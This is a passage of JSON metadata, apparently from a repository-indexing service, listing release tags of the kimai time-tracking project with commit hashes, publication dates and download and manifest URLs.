4.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.24.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.24.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.24.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.24.0/manifests"},{"name":"2.23.0","sha":"8c26ff9aed19b78aaac7fbc91c3d0ef5cb2cd36b","kind":"commit","published_at":"2024-10-04T09:24:50.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.23.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.23.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.23.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.23.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.23.0/manifests"},{"name":"2.22.0","sha":"13649e146c602708e4699e96f3b66212959666ce","kind":"commit","published_at":"2024-09-22T15:26:02.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.22.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.22.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.22.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.22.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.22.0/manifests"},{"name":"2.21.0","sha":"3e0dadc0c87ddfc60aa94092e4495b6f42e5d8dd","kind":"commit","published_at":"2024-09-01T12:58:47.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.21.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.21.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.21.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.21.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.21.0/manifests"},{"name":"2.20.1","sha":"2a728154814be6c0a1dc62991204ecf6d7695269","kind":"commit","published_at":"2024-08-04T17:38:47.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.20.1","html_url":"https://github.com/kimai/kimai/releases/tag/2.20.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.20.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.20.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.20.1/manifests"},{"name":"2.20.0","sha":"ff6a3e826282a831152eaa60327653fabf76c836","kind":"commit","published_at":"2024-08-04T16:22:27.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.20.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.20.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.20.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.20.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.20.0/manifests"},{"name":"2.19.1","sha":"b9c1036b2137d18217a6c41eb6c64733f58d433f","kind":"commit","published_at":"2024-07-28T16:04:18.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.19.1","html_url":"https://github.com/kimai/kimai/releases/tag/2.19.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.19.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.19.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.19.1/manifests"},{"name":"2.19.0","sha":"818c080d2876959342047712d84531a3bb56a330","kind":"commit","published_at":"2024-07-27T15:37:10.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.19.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.19.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.19.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.19.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.19.0/manifests"},{"name":"2.18.0","sha":"987b46bf8f759a598093aa9b749eed7613907fde","kind":"commit","published_at":"2024-06-16T11:15:49.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.18.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.18.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.18.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.18.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.18.0/manifests"},{"name":"2.17.0","sha":"0c445d1bc46b30f1e58c7e3c4b71fb825569b79b","kind":"commit","published_at":"2024-05-19T15:42:03.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.17.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.17.0/manifests"},{"name":"2.16.1","sha":"661bb163428b68b19bc9dc9701dffd285dee6732","kind":"commit","published_at":"2024-05-03T09:38:33.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.16.1","html_url":"https://github.com/kimai/kimai/releases/tag/2.16.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.16.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.16.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.16.1/manifests"},{"name":"2.16.0","sha":"99c296a751d66cdc64196af8f2daaf7f9b8dd416","kind":"commit","published_at":"2024-05-01T12:24:24.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.16.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.16.0/manifests"},{"name":"2.15.0","sha":"9dc9c71a469b70e2c57b1412d48d58a64a6c298e","kind":"commit","published_at":"2024-04-13T15:27:51.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.15.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.15.0/manifests"},{"name":"2.14.0","sha":"afe065650256c102292981324260cff03a7c1e1b","kind":"commit","published_at":"2024-04-05T21:51:16.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.14.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.14.0/manifests"},{"name":"2.13.0","sha":"dee90bb15e98ddaa7e3d4889288dc0671fb2f8ac","kind":"commit","published_at":"2024-03-10T14:35:59.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.13.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.13.0/manifests"},{"name":"2.12.0","sha":"e293d62aa1f7a87bab354c82d54c257959f43f53","kind":"commit","published_at":"2024-02-22T17:00:51.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.12.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"c2afebbb5efc3531a9cc3d687bd7a99a36e7cad9","kind":"commit","published_at":"2024-02-02T14:48:11.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.11.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.11.0/manifests"},{"name":"2.10.0","sha":"12ef19df28fd9bf2bf4a849664bea681c2fe55fd","kind":"commit","published_at":"2024-01-21T00:59:30.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.10.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"6531e7fe52ce362636d4e7903575e211c25564a8","kind":"commit","published_at":"2024-01-10T11:43:07.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.9.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"8eeb9c120a674532a75622b0ba322e4bd1f50a04","kind":"commit","published_at":"2024-01-02T23:28:35.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.8.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"ad645f5b584ebfd6e16c059a09c5413e992a20a6","kind":"commit","published_at":"2023-12-26T13:49:11.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.7.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"e23d0474fd92d570bacab6a2bce7bd6134b78ad9","kind":"commit","published_at":"2023-12-17T16:05:38.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.6.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"e0769bc3dcc3c3595ea28ceb7ce89200b4a27a31","kind":"commit","published_at":"2023-12-01T21:40:02.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.5.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.5.0/manifests"},{"name":"2.4.1","sha":"16d4a691f856c3eb5f4ddda578faf354a4ce0b2b","kind":"commit","published_at":"2023-11-20T20:33:36.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.4.1","html_url":"https://github.com/kimai/kimai/releases/tag/2.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.4.1/manifests"},{"name":"2.4.0","sha":"20164295f87331e6fe2aaf8e5a28c2bc74f42a36","kind":"commit","published_at":"2023-11-19T15:05:43.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.4.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"6a828cc9bd3769fc24d486f52e3153cbf5ff5299","kind":"commit","published_at":"2023-11-08T21:30:22.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.3.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.3.0/manifests"},{"name":"2.2.1","sha":"c840fee9115d4c9990085568efd26f8ff6a58f07","kind":"commit","published_at":"2023-11-01T00:16:17.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.2.1","html_url":"https://github.com/kimai/kimai/releases/tag/2.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.2.1/manifests"},{"name":"2.2.0","sha":"e06acc95c5ae9a31f74e3ad9f5e115962269eaa2","kind":"commit","published_at":"2023-10-31T16:03:26.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.2.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"38e37f1c2e91e1acb221ec5c13f11b735bd50ae4","kind":"commit","published_at":"2023-10-19T09:21:50.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.1.0","html_url":"https://github.com/kimai/kimai/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.1.0/manifests"},{"name":"2.0.35","sha":"7a5b12762afa53dd59749b218bb2d2acc8ead665","kind":"commit","published_at":"2023-09-23T16:15:22.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.35","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.35","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.35","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.35","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.35/manifests"},{"name":"2.0.34","sha":"de419350b275cb5cad8a8595a62f6adb0402b942","kind":"commit","published_at":"2023-09-17T20:32:01.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.34","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.34","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.34","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.34","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.34/manifests"},{"name":"2.0.33","sha":"6e1207578e3716849d0bd6308a9bc427327229a6","kind":"commit","published_at":"2023-09-07T20:24:08.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.33","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.33","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.33","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.33","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.33/manifests"},{"name":"2.0.32","sha":"31348da4c054eba83fc8d786bfe306f54a10a71b","kind":"commit","published_at":"2023-08-31T13:33:53.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.32","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.32","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.32","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.32","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.32/manifests"},{"name":"2.0.31","sha":"636422e34293cd7155c22050b6a65faca85208b6","kind":"commit","published_at":"2023-08-21T18:38:32.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.31","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.31","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.31","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.31","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.31/manifests"},{"name":"2.0.30","sha":"adc07799126f76887250f5cc04f0e7a662f2fad7","kind":"commit","published_at":"2023-08-16T16:20:14.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.30","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.30","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.30","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.30","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.30/manifests"},{"name":"2.0.29","sha":"b831532323582c71ea92ee8875484566202d4859","kind":"commit","published_at":"2023-07-26T13:16:59.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.29","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.29","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.29","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.29","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.29/manifests"},{"name":"2.0.28","sha":"385753fbc38ae140723f2968b9d28ee1d3c23ccd","kind":"commit","published_at":"2023-07-09T13:27:27.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.28","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.28","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.28","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.28","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.28/manifests"},{"name":"2.0.27","sha":"651f812da83b9ba46cc2297229b1444c7902bb36","kind":"commit","published_at":"2023-07-04T15:01:29.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.27","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.27","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.27","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.27","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.27/manifests"},{"name":"2.0.26","sha":"ce7fe67fcc5e915f1f60fbd379091974f9124145","kind":"commit","published_at":"2023-06-09T17:16:36.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.26","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.26","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.26","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.26","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.26/manifests"},{"name":"2.0.25","sha":"0663995d06b318710e162aaed3361d8f117c1dca","kind":"commit","published_at":"2023-06-06T21:05:20.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.25","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.25","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.25","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.25","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.25/manifests"},{"name":"2.0.24","sha":"2ba9cff28123d3e2711613f52a3655b531134597","kind":"commit","published_at":"2023-05-26T20:39:07.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.24","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.24","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.24","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.24","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.24/manifests"},{"name":"2.0.23","sha":"97092acae947e838b2ab38399d32993059790b48","kind":"commit","published_at":"2023-05-21T15:49:44.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.23","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.23","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.23","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.23","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.23/manifests"},{"name":"2.0.22","sha":"f0298335ee793d789c6ab763e8454a0d359fe83e","kind":"commit","published_at":"2023-05-20T10:08:36.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.22","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.22","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.22","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.22","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.22/manifests"},{"name":"2.0.21","sha":"9bd5965ecdea63748e46f77551451f125e2c762e","kind":"commit","published_at":"2023-05-17T13:02:10.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.21","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.21","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.21","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.21","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.21/manifests"},{"name":"2.0.20","sha":"29624354a21aa1058d5b0a514d4e4d816f8c81a6","kind":"commit","published_at":"2023-05-15T20:30:37.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.20","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.20","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.20","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.20","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.20/manifests"},{"name":"2.0.19","sha":"4b2a3669e62fdc56100d23da911b657fd444084c","kind":"commit","published_at":"2023-05-12T12:45:51.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.19","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.19","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.19","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.19","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.19/manifests"},{"name":"2.0.18","sha":"1099e76244c48623032810665f3f930efceffb1d","kind":"commit","published_at":"2023-05-08T15:11:55.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.18","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.18","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.18","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.18","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.18/manifests"},{"name":"2.0.17","sha":"66413d789c87743d3b3944001b763865a6bc0f9a","kind":"commit","published_at":"2023-05-01T22:40:43.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.17","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.17","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.17","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.17","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.17/manifests"},{"name":"2.0.16","sha":"01e26dca9eb6bde3a5f810ad971644f65a5b2d20","kind":"commit","published_at":"2023-04-27T16:48:31.000Z","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/2.0.16","html_url":"https://github.com/kimai/kimai/releases/tag/2.0.16","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/kimai/kimai@2.0.16","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.16","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags/2.0.16/manifests"},{"name":"2.0.15","sha":"046ed313c9c684dbc6295c